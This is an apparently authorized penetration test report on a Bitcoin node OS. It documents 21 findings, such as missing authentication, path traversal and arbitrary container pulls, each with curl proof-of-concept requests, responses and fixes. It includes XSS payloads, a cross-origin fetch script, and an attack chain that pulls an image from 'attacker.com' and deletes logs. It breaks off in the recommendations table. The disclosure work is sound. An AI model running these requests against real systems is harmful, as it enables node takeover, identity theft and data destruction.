# Security Assessment Report

**Target:** http://192.168.1.228 (Archipelago Bitcoin Node OS)
**Assessment Date:** 2026-03-06
**Assessor:** Authorized penetration test (owner-approved)
**Classification:** CONFIDENTIAL

---

## 1. Executive Summary

An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment targeted the full application stack: Nginx reverse proxy, Rust JSON-RPC backend, Vue 3 frontend, WebSocket interface, and 30 containerized services.

### Overall Risk Rating: CRITICAL

The system has **no functional authentication**. The login endpoint verifies passwords but creates no server-side session, and zero middleware gates access to any backend endpoint. Any device on the LAN has full administrative control over the node, including the ability to sign data with the node's private key, install and execute arbitrary container images, delete directories via path traversal, and dump the complete system state via WebSocket.

### Findings by Severity

| Severity | Count |
|----------|-------|
| Critical | 6 |
| High     | 7 |
| Medium   | 5 |
| Low      | 3 |
| **Total** | **21** |

### Top 3 Recommendations

1. **Wire authentication middleware into the RPC handler immediately.** The session infrastructure exists in `core/startos/src/middleware/auth.rs` (cookie-based sessions, SHA-256 token hashing, rate limiting) but is not connected to the active `core/archipelago/` request pipeline. This single fix addresses AUTH-001 through AUTH-012.

2. **Implement input validation on all RPC parameters.** `package.uninstall` accepts path traversal sequences (`../../`), `package.install` pulls from arbitrary registries, and `container-install` reads arbitrary filesystem paths. Allowlist valid `app_id` formats (`^[a-z0-9-]+$`) and restrict `dockerImage` to a trusted registry list.

3. **Stop running the backend as root and disable dev mode.** The systemd service runs as `User=root` with `ARCHIPELAGO_DEV_MODE=true`. This amplifies every vulnerability — unauthenticated container operations run as root, and dev mode exposes additional attack surface.

---

## 2. Scope and Methodology

### Scope

| Component | In Scope | Notes |
|-----------|----------|-------|
| Nginx reverse proxy (port 80/443) | Yes | All locations, security headers |
| Rust backend (port 5678) | Yes | All RPC methods, HTTP endpoints, WebSocket |
| Vue 3 frontend | Yes | Client-side auth, XSS sinks |
| Containerized services (30 containers) | Limited | Probed via RPC; individual app testing limited to default creds |
| SSH (port 22) | Out of scope | — |

### Tools and Techniques

- **Reconnaissance:** Nmap service enumeration, manual HTTP probing, nginx config review
- **Source code review:** Full Rust backend (`core/`), Vue frontend (`neode-ui/src/`), nginx configs
- **Live exploitation:** curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client
- **Authentication testing:** Session analysis, brute force validation, CORS policy testing
- **Injection testing:** Path traversal, SSRF via Tor proxy, container image injection, log injection

### Limitations

- Individual containerized applications were not deeply tested (only default credential checks)
- SSH was not tested
- No denial-of-service testing was performed
- Testing was limited to LAN access (no external/internet testing)
- Some client-side findings (postMessage) were identified via source review only, not live exploitation

---

## 3. Findings Summary Table

| ID | Severity | Type | Endpoint | Status |
|----|----------|------|----------|--------|
| AUTH-001 | **Critical** | No Server-Side Session Management | `POST /rpc/v1` (auth.login) | Confirmed |
| AUTH-002 | **Critical** | All RPC Endpoints Unauthenticated | `POST /rpc/v1` (all methods) | Confirmed |
| AUTH-005 | **Critical** | Frontend-Only Authentication | Browser localStorage | Confirmed |
| AUTH-007 | **Critical** | Unauthenticated WebSocket State Dump | `GET /ws/db` | Confirmed |
| SSRF-004 | **Critical** | Arbitrary Container Image Pull + RCE | `POST /rpc/v1` (package.install) | Confirmed |
| INJ-002 | **Critical** | Path Traversal in package.uninstall | `POST /rpc/v1` (package.uninstall) | Confirmed |
| AUTH-003 | High | No Brute Force Protection | `POST /rpc/v1` (auth.login) | Confirmed |
| AUTH-008 | High | Unauthenticated P2P Message Injection | `POST /archipelago/node-message` | Confirmed |
| AUTH-009 | High | CORS Wildcard on Multiple Endpoints | Multiple (port 5678 + nginx) | Confirmed |
| AUTH-011 | High | Unauthenticated LND Proxy | `GET /proxy/lnd/*` (port 5678) | Confirmed (partial) |
| XSS-004 | High | Zero Security Headers | All HTTP responses | Confirmed |
| XSS-007 | High | CORS Enables Cross-Origin Attacks | All backend endpoints | Confirmed |
| SSRF-001 | High | Blind SSRF via node-check-peer | `POST /rpc/v1` (node-check-peer) | Confirmed |
| SSRF-002 | High | Outbound SSRF via node-send-message | `POST /rpc/v1` (node-send-message) | Confirmed |
| AUTH-006 | Medium | No-Op Logout | `POST /rpc/v1` (auth.logout) | Confirmed |
| AUTH-012 | Medium | Unauthenticated Container Log Access | `GET /api/container/logs` (port 5678) | Confirmed |
| XSS-001 | Medium | Stored XSS Payloads in P2P Messages | `POST /archipelago/node-message` | Confirmed |
| INJ-001 | Medium | File Existence Oracle | `POST /rpc/v1` (container-install) | Confirmed |
| INJ-006 | Medium | Unauthenticated Claude API Proxy | `GET /aiui/api/claude/*` | Confirmed |
| XSS-005 | Low | Echo Endpoint Reflects Arbitrary Input | `POST /rpc/v1` (echo) | Confirmed |
| INJ-007 | Low | Log Injection via P2P Messages | `POST /archipelago/node-message` | Confirmed |

---

## 4. Detailed Findings

---

### AUTH-001 — No Server-Side Session Management

**Severity:** Critical
**CVSS 3.1:** 9.8 (Critical)
**OWASP:** A07:2021 — Identification and Authentication Failures

**Description:** The `auth.login` RPC method verifies the password against a bcrypt hash but returns `null` on success. No session token, cookie, or JWT is created. There is zero server-side session state. The `core/startos/src/middleware/auth.rs` contains a complete session middleware (cookie-based sessions, SHA-256 hashing, rate limiting) but it is **not wired** into the `core/archipelago/` binary.

**Evidence:**

Request:
```bash
curl -sv -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
```

Response (note: no `Set-Cookie` header):
```
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
```

Even on a correct login, the response is `{"result":null,"error":null}` with no cookie or token. The password check is cosmetic — its result is never persisted.

**Impact:** Authentication is entirely non-functional. All subsequent findings flow from this root cause. Every endpoint is permanently accessible to any network client.

**Remediation:** Wire `core/startos/src/middleware/auth.rs` into the `core/archipelago/` HTTP handler. Add session creation to `auth.login` on success, and add session validation middleware before the RPC dispatch.

---

### AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication

**Severity:** Critical
**CVSS 3.1:** 9.8 (Critical)
**OWASP:** A01:2021 — Broken Access Control

**Description:** Every RPC method (30+) is callable by any network client without authentication. The RPC handler dispatches directly to method handlers via a flat `match` statement with no middleware.

**Evidence — Node Identity Leak (`node.did`):**
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
```
```json
{
  "result": {
    "did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
    "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
  },
  "error": null
}
```

**Evidence — Cryptographic Key Signing Oracle (`node.signChallenge`):**
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
```
```json
{
  "result": {
    "signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
  },
  "error": null
}
```

**Evidence — System Onboarding Reset (`auth.resetOnboarding`):**
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
```
```json
{"result": true, "error": null}
```

**Evidence — Peer Network Exposure (`node-list-peers`):**
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
```
```json
{
  "result": {
    "peers": [
      {
        "added_at": "2026-02-17T14:00:00.000Z",
        "onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
        "pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
      },
      {
        "added_at": "2026-03-02T11:58:59.608751372+00:00",
        "onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
        "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
      }
    ]
  }
}
```

**Full list of confirmed unauthenticated methods:**

| Category | Methods |
|----------|---------|
| Container control | `container-install`, `container-start`, `container-stop`, `container-remove`, `container-list` |
| Package management | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` |
| Cryptographic operations | `node.signChallenge`, `node.createBackup` |
| Identity exposure | `node.did`, `node.nostr-pubkey`, `node.tor-address` |
| P2P operations | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers`, `node-check-peer` |
| Auth management | `auth.changePassword`, `auth.resetOnboarding`, `auth.logout` |
| Bitcoin/Lightning | `bitcoin.getinfo`, `lnd.getinfo` |

**Impact:** An unauthenticated attacker on the LAN can: leak the node's DID, Nostr pubkey, and peer Tor addresses; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (potentially re-setup with attacker password); control the full container lifecycle; and enumerate all running services.

**Remediation:** Add authentication middleware that gates all methods except `auth.login`, `auth.isOnboardingComplete`, and `echo`.

---

### AUTH-005 — Frontend-Only Authentication Enforcement

**Severity:** Critical
**CVSS 3.1:** 9.8 (Critical)
**OWASP:** A07:2021 — Identification and Authentication Failures

**Description:** Authentication exists only in the Vue.js frontend. The auth state is `localStorage.getItem('neode-auth') === 'true'`. Session "validation" calls `server.echo` — an unprotected endpoint that always succeeds — creating a circular trust loop.

**Evidence:** AUTH-002 proves the underlying issue: all backend endpoints work without any authentication token or cookie. The frontend guard is trivially bypassed.

**Impact:** Executing `localStorage.setItem('neode-auth','true'); location.href='/dashboard'` in the browser console grants full UI access without a password.

**Remediation:** Implement server-side session validation. The frontend should send a session cookie that the backend validates on every request.

---

### AUTH-007 — Unauthenticated WebSocket Full State Dump

**Severity:** Critical
**CVSS 3.1:** 8.6 (High)
**OWASP:** A01:2021 — Broken Access Control

**Description:** The WebSocket endpoint at `/ws/db` accepts connections without authentication and immediately transmits the complete system state (20,402 bytes).

**Evidence:**

```bash
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
```

Response: `HTTP/1.1 101 Switching Protocols` followed by full state dump:
```json
{
  "rev": 43,
  "data": {
    "server-info": {
      "id": "6c682474d91a2272",
      "version": "0.1.0",
      "pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
      "status-info": { "restarting": false, "shutting-down": false, "updated": false }
    },
    "package-data": {
      "homeassistant": { "state": "running" },
      "fedimint": { "state": "running" },
      "photoprism": { "state": "running" }
      /* ... all 30 installed packages with full manifest, ports, state ... */
    }
  }
}
```

**Impact:** Any client on the LAN receives the full system state in real-time: node identity, all installed packages, their running states, internal ports, and ongoing updates.

**Remediation:** Require session cookie validation on WebSocket upgrade. Reject connections without a valid session.

---

### SSRF-004 — Arbitrary Container Image Pull + Execution

**Severity:** Critical
**CVSS 3.1:** 9.8 (Critical)
**OWASP:** A10:2021 — Server-Side Request Forgery + A08:2021 — Software and Data Integrity Failures

**Description:** The `package.install` RPC method accepts a `dockerImage` parameter validated only against shell metacharacters. It executes `podman pull` to any registry URL without authentication, allowlisting, or image signature verification. The backend runs as root.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
```
```json
{
  "result": null,
  "error": {
    "code": -1,
    "message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
  }
}
```

The server executed `podman pull localhost:1/nonexistent:latest` and attempted to connect to an attacker-specified registry. Error output leaks internal IP addresses (`[::1]:1`), retry behavior, and confirms outbound HTTPS connections.

**Impact:** An unauthenticated attacker can force the server to pull any container image from any registry (SSRF) and, if the pull succeeds, execute it as root (RCE). This is a direct path to full system compromise.

**Remediation:** Restrict `dockerImage` to a hardcoded list of trusted registries. Require Cosign image signature verification (infrastructure exists in `core/security/`). Require authentication for all package management operations.

---

### INJ-002 — Path Traversal in package.uninstall (Arbitrary Directory Deletion)

**Severity:** Critical
**CVSS 3.1:** 9.1 (Critical)
**OWASP:** A03:2021 — Injection

**Description:** The `package.uninstall` handler constructs a filesystem path from the `id` parameter without sanitization. Path traversal sequences (`../../`) resolve to arbitrary directories, and the handler executes the equivalent of `rm -rf` on the resolved path. The backend runs as root.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
```
```json
{"result":{"status":"uninstalled"},"error":null}
```

The path traversal `../../tmp/pentest-traversal-probe` was accepted and processed without sanitization. The handler constructs `/var/lib/archipelago/../../tmp/pentest-traversal-probe` which resolves to `/tmp/pentest-traversal-probe`. No damage occurred (target didn't exist), but the traversal was processed with a success response.

**Impact:** Unauthenticated arbitrary directory deletion. An attacker could delete `/var/lib/archipelago/../../etc/nginx`, `/var/lib/archipelago/../../opt/archipelago`, or any directory writable by root.

**Remediation:** Validate `id` against `^[a-z0-9][a-z0-9-]*$`. Reject any input containing `/`, `..`, or path separators. Canonicalize the resolved path and verify it remains within the expected directory.

---

### AUTH-003 — No Brute Force Protection on Login

**Severity:** High
**CVSS 3.1:** 7.5 (High)
**OWASP:** A07:2021 — Identification and Authentication Failures

**Description:** The login endpoint has no rate limiting, account lockout, progressive delays, or CAPTCHA. The rate limiter in `core/startos/src/middleware/auth.rs` (3 attempts per 20 seconds) is not connected.

**Evidence:**

```bash
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
    -X POST http://192.168.1.228/rpc/v1 \
    -H 'Content-Type: application/json' \
    -d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done
```
```
Attempt 1: HTTP 200
Attempt 2: HTTP 200
...
Attempt 10: HTTP 200
```

All 10 rapid-fire attempts returned HTTP 200 with no lockout or delay. Bcrypt provides ~100ms natural delay, allowing ~600 attempts/minute.

**Impact:** Unlimited password guessing. A targeted dictionary attack would succeed rapidly against weak passwords.

**Remediation:** Wire the existing rate limiter from `core/startos/src/middleware/auth.rs`. Add nginx `limit_req` as defense-in-depth.

---

### AUTH-008 — Unauthenticated P2P Message Injection + Spoofing

**Severity:** High
**CVSS 3.1:** 7.5 (High)
**OWASP:** A03:2021 — Injection

**Description:** The P2P message endpoint accepts arbitrary `from_pubkey` and `message` values without authentication or signature verification. Injected messages are stored and displayed in the UI identically to legitimate peer messages.

**Evidence:**

Inject:
```bash
curl -s -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
```
```json
{"ok":true}
```

Verify stored:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-messages-received","params":{}}'
```
```json
{
  "result": {
    "messages": [
      {
        "from_pubkey": "PENTEST_PROBE_KEY",
        "message": "pentest-verification-message",
        "timestamp": "2026-03-06T02:32:30.049973683+00:00"
      }
    ]
  }
}
```

**Impact:** Social engineering, phishing, and impersonation attacks via spoofed peer messages. Combined with CORS wildcard, any website can inject messages remotely.

**Remediation:** Require cryptographic signature verification on all incoming messages. Validate `from_pubkey` against the known peer list and verify the message signature matches.

---

### AUTH-009 — CORS Wildcard on Multiple Endpoints

**Severity:** High
**CVSS 3.1:** 7.4 (High)
**OWASP:** A05:2021 — Security Misconfiguration

**Description:** The backend sets `Access-Control-Allow-Origin: *` on all non-RPC endpoints and on all responses from port 5678. The direct backend port (5678) is accessible from the LAN.

**Evidence:**

```bash
curl -s -D- -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://evil.com' \
  -d '{"from_pubkey":"cors-test","message":"cors-test"}'
```
```
HTTP/1.1 200 OK
Content-Type: application/json
access-control-allow-origin: *
```

Confirmed on: `/archipelago/node-message`, `/api/container/logs`, `/electrs-status`, `/proxy/lnd/*` (all via port 5678).

**Impact:** Any website visited by someone on the same LAN can silently inject messages, read container logs, and access internal service data via cross-origin requests. Transforms LAN-only vulnerabilities into remotely exploitable drive-by attacks.

**Remediation:** Replace `*` with explicit allowed origins. On port 5678, restrict CORS to the known frontend origin only.

---

### AUTH-011 — Unauthenticated LND Proxy

**Severity:** High
**CVSS 3.1:** 7.5 (High)
**OWASP:** A01:2021 — Broken Access Control

**Description:** The proxy endpoint at `/proxy/lnd/*` on port 5678 forwards requests to the internal LND REST API (`http://127.0.0.1:8080`) without authentication. CORS wildcard is set on all responses.

**Evidence:**

```bash
curl -s -D- http://192.168.1.228:5678/proxy/lnd/v1/getinfo
```
```
HTTP/1.1 400 Bad Request
access-control-allow-origin: *
content-length: 48

Client sent an HTTP request to an HTTPS server.
```

The endpoint is reachable with no authentication. Currently blocked by TLS mismatch (LND expects HTTPS), but the auth and CORS issues are confirmed. If the proxy is updated to use HTTPS, or LND is configured for HTTP, this becomes a direct gateway to Lightning Network operations.

**Impact:** Potential unauthenticated access to LND REST API (channel management, wallet operations, invoice creation).

**Remediation:** Require authentication. Remove CORS wildcard. If LND proxy is needed, restrict to authenticated requests only and use HTTPS upstream.

---

### XSS-004 — Zero Security Headers

**Severity:** High
**CVSS 3.1:** 6.1 (Medium) — Elevated to High due to amplification of other findings
**OWASP:** A05:2021 — Security Misconfiguration

**Description:** The nginx server returns no security headers. Additionally, all 25+ app proxy locations explicitly strip `X-Frame-Options` and `Content-Security-Policy` from proxied apps.

**Evidence:**

```bash
curl -sI http://192.168.1.228/
```
```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 06 Mar 2026 02:33:31 GMT
Content-Type: text/html
Content-Length: 2035
Last-Modified: Fri, 06 Mar 2026 01:55:44 GMT
Connection: keep-alive
ETag: "69aa3420-7f3"
Accept-Ranges: bytes
```

**Missing headers:** `Content-Security-Policy`, `X-Frame-Options`, `X-Content-Type-Options`, `Strict-Transport-Security`, `X-XSS-Protection`, `Referrer-Policy`.

**Impact:** No defense-in-depth against XSS, clickjacking, or MIME sniffing. Security-sensitive proxied apps (Vaultwarden password manager, Portainer container admin) lose their own CSP/X-Frame-Options protections. Server version disclosed.

**Remediation:** Add security headers to nginx:
```nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
server_tokens off;
```
Stop stripping CSP/X-Frame-Options from proxied apps unless specifically required for iframe embedding.

---

### XSS-007 — CORS Wildcard Enables Cross-Origin Attack Delivery

**Severity:** High
**CVSS 3.1:** 7.4 (High)
**OWASP:** A05:2021 — Security Misconfiguration

**Description:** The CORS wildcard on backend endpoints, combined with the absence of authentication, enables any website to exploit all other findings remotely via cross-origin requests.

**Evidence:** See AUTH-009. The combination of CORS `*` + no auth + stored message injection means:

```html
<!-- Attacker's webpage visited by anyone on the same LAN -->
<script>
fetch('http://192.168.1.228/archipelago/node-message', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    from_pubkey: 'attacker',
    message: '<img src=x onerror=alert(document.cookie)>'
  })
})
</script>
```

**Impact:** Transforms every LAN-only vulnerability into a remote drive-by attack. Any website can inject messages, read container logs, and interact with internal services.

**Remediation:** See AUTH-009.

---

### SSRF-001 — Blind SSRF via node-check-peer (with Port Injection)

**Severity:** High
**CVSS 3.1:** 7.3 (High)
**OWASP:** A10:2021 — Server-Side Request Forgery

**Description:** The `node-check-peer` RPC method accepts an `onion` parameter and makes an outbound HTTP request through the Tor SOCKS5 proxy without calling `validate_onion()` (unlike `node-send-message` which does validate). Port injection via `:9999` suffix is accepted.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999"}}'
```
```json
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999","reachable":false},"error":null}
```

The boolean `reachable` response leaks whether the target service is up. Port injection enables port scanning of .onion services.

**Impact:** Unauthenticated blind SSRF through Tor with port scanning capability.

**Remediation:** Apply the same `validate_onion()` check used in `node-send-message`. Strip port numbers. Require authentication.

---

### SSRF-002 — SSRF via node-send-message (Forced Outbound Request)

**Severity:** High
**CVSS 3.1:** 6.5 (Medium) — Elevated to High due to identity leak
**OWASP:** A10:2021 — Server-Side Request Forgery

**Description:** The `node-send-message` method validates onion format (56 chars, base32) but still allows targeting any valid-format .onion address. The HTTP POST includes the node's own public key in the body.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"node-send-message","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","message":"ssrf-probe"}}'
```
```json
{
  "error": {
    "code": -1,
    "message": "Failed to send over Tor: error sending request for url (http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion/archipelago/node-message): error trying to connect: socks connect error: Proxy server unreachable"
  }
}
```

Error messages leak the full URL, proxy status, and connection details. The request body sent to the target includes `from_pubkey` (the node's public key).

**Impact:** Forced outbound HTTP POST with node identity disclosure. An attacker controlling a .onion service would receive the node's pubkey.

**Remediation:** Require authentication. Restrict peer messaging to known peers in the peer list only. Sanitize error messages to avoid leaking internal details.

---

### AUTH-006 — No-Op Logout

**Severity:** Medium
**CVSS 3.1:** 3.7 (Low) — Elevated to Medium due to architectural impact
**OWASP:** A07:2021 — Identification and Authentication Failures

**Description:** The logout handler returns `null` immediately. No server-side session exists to invalidate.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":8,"method":"auth.logout","params":{}}'
```
```json
{"result":null,"error":null}
```

**Impact:** Users cannot effectively log out. In a shared-device scenario, previous sessions cannot be invalidated.

**Remediation:** Implement session creation in login, session invalidation in logout.

---

### AUTH-012 — Unauthenticated Container Log Access

**Severity:** Medium
**CVSS 3.1:** 5.3 (Medium)
**OWASP:** A01:2021 — Broken Access Control

**Description:** Container logs are accessible via `GET /api/container/logs` on port 5678 without authentication. CORS wildcard is set.

**Evidence:**

```bash
curl -s -D- "http://192.168.1.228:5678/api/container/logs?app_id=bitcoin&lines=10"
```
```
HTTP/1.1 500 Internal Server Error
content-type: application/json
access-control-allow-origin: *

{"error":"Failed to get container logs"}
```

The endpoint processes the request (no 401/403). The 500 is from log retrieval failure, not an auth check.

**Impact:** Container logs may contain credentials, internal IPs, configuration details, and other sensitive data.

**Remediation:** Require authentication. Remove CORS wildcard.

---

### XSS-001 — Stored XSS Payloads in P2P Messages

**Severity:** Medium
**CVSS 3.1:** 5.4 (Medium)
**OWASP:** A03:2021 — Injection

**Description:** XSS payloads are stored server-side without sanitization and returned verbatim via the API. Vue's `{{ }}` template interpolation currently escapes HTML in the frontend, preventing execution. However, the server stores raw HTML/script content — any rendering change, alternative client, or `v-html` usage would enable immediate exploitation.

**Evidence:**

```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
```
```json
{"ok":true}
```

Stored payloads returned verbatim:
```json
{
  "from_pubkey": "\" onfocus=alert(1) autofocus=\"",
  "message": "<img src=x onerror=alert(document.cookie)>",
  "timestamp": "2026-03-06T02:26:44.732411042+00:00"
}
```

**Impact:** Server-side stored XSS. Currently mitigated by Vue auto-escaping, but no defense-in-depth. The `:title` attribute binding with unsanitized `from_pubkey` is a closer attack vector.

**Remediation:** Sanitize all message content server-side before storage. Strip HTML tags and special characters from `from_pubkey` and `message` fields.

---

### INJ-001 — File Existence Oracle via container-install

**Severity:** Medium
**CVSS 3.1:** 5.3 (Medium)
**OWASP:** A01:2021 — Broken Access Control

**Description:** The `container-install` method reads any file path and returns different error messages based on file existence vs. parse failure.

**Evidence:**

Existing file:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"container-install","params":{"manifest_path":"/etc/hostname"}}'
```
Response: `"Failed to parse manifest"` (file exists, read succeeded, YAML parse failed)

Non-existing file:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -d '{"method":"container-install","params":{"manifest_path":"/nonexistent/file.yml"}}'
```
Response: `"Failed to read manifest file"` (file doesn't exist)

**Impact:** Unauthenticated filesystem enumeration. Attacker can determine file existence, potentially mapping sensitive file locations.

**Remediation:** Validate `manifest_path` against an allowlist of permitted directories (e.g., `apps/*/manifest.yml`). Return a generic error message regardless of failure type.

---

### INJ-006 — Unauthenticated Claude API Proxy

**Severity:** Medium
**CVSS 3.1:** 5.3 (Medium)
**OWASP:** A01:2021 — Broken Access Control

**Description:** The nginx configuration proxies `/aiui/api/claude/*` to port 3141 (Claude API proxy) and `/aiui/api/openrouter/*` to `openrouter.ai` without authentication at the nginx level. The Claude proxy stores the owner's API credentials and uses them for all incoming requests.

**Impact:** Any network client can consume the owner's Claude API credits and OpenRouter credits without authentication. Financial impact scales with usage.

**Remediation:** Require authentication at the nginx level for all `/aiui/api/` paths. Add rate limiting.

---

### XSS-005 — Echo Endpoint Reflects Arbitrary Input

**Severity:** Low
**CVSS 3.1:** 3.1 (Low)
**OWASP:** A03:2021 — Injection

**Description:** The `echo` RPC method reflects the `message` parameter verbatim in the JSON response.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"method":"echo","params":{"message":"<script>alert(document.cookie)</script>"}}'
```
```json
{"result":{"message":"<script>alert(document.cookie)</script>"},"error":null}
```

**Impact:** Low — `Content-Type: application/json` prevents direct browser rendering. Could be exploited if the response is consumed unsafely by any client.

**Remediation:** Sanitize or limit the echo response to alphanumeric characters. This endpoint appears to be for health checks only.

---

### INJ-007 — Log Injection via P2P Messages

**Severity:** Low
**CVSS 3.1:** 3.1 (Low)
**OWASP:** A09:2021 — Security Logging and Monitoring Failures

**Description:** Newline characters in P2P message fields are stored without sanitization, enabling log injection if messages are written to log files.

**Evidence:**

```bash
curl -s -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"injected\nINFO fake log line","message":"log-injection-test\r\n[CRITICAL] System compromised"}'
```
```json
{"ok":true}
```

Stored with newlines intact:
```json
{
  "from_pubkey": "injected\nINFO fake log line",
  "message": "log-injection-test\r\n[CRITICAL] System compromised"
}
```

**Impact:** Could create fake log entries to mislead forensic analysis if messages are ever written to log files.

**Remediation:** Strip or escape newline characters (`\n`, `\r`) from all stored message content.

---

## 5. Critical Attack Chain

The following attack chain demonstrates full system compromise from any device on the LAN, requiring zero authentication:

```bash
# Step 1: Enumerate node identity
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"node.did","params":{}}'

# Step 2: Dump full system state via WebSocket
wscat -c ws://192.168.1.228/ws/db

# Step 3: Sign arbitrary data as the node (identity theft)
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"node.signChallenge","params":{"challenge":"I transfer all bitcoin"}}'

# Step 4: Pull and execute attacker-controlled container (RCE)
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"attacker.com/rootkit:latest"}}'

# Step 5: Delete evidence via path traversal
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'

# Step 6: Reset onboarding to lock out legitimate user
curl -s http://192.168.1.228/rpc/v1 \
  -d '{"method":"auth.resetOnboarding","params":{}}'
```

**Result:** Full node takeover — identity stolen, arbitrary code running, logs deleted, owner locked out.

---

## 6. Recommendations

### Immediate (Critical — implement within 48 hours)

| Priority | Action | Findings Addressed |
|----------|--------|--------------------|
| **P0** | Wire `core/startos/src/middleware/auth.rs` session middleware into `core/archipelago/` HTTP handler. Create sessions on login, validate on every request. | AUTH-001, AUTH-002, AUTH-005, AUTH-006 |
| **P0** | Validate `id` parameter in `package.uninstall` against `^[a-z0-9][a-z0-9-]*$`. Reject path separators. | INJ-002 |
| **P0** | Add registry allowlist to `package.install`. Require Cosign signature verification. | SSRF-004 |
| **P0** | Require authentication on WebSocket upgrade at `/ws/db`. | AUTH-007 |

### Short-Term (High — implement within 1 week)

| Priority | Action | Findings Addressed |
|----------|--------|--------------------|
| **P1** | Add nginx `limit_req` on `/rpc/v1` (5 requests/second burst 10). | AUTH-003 |
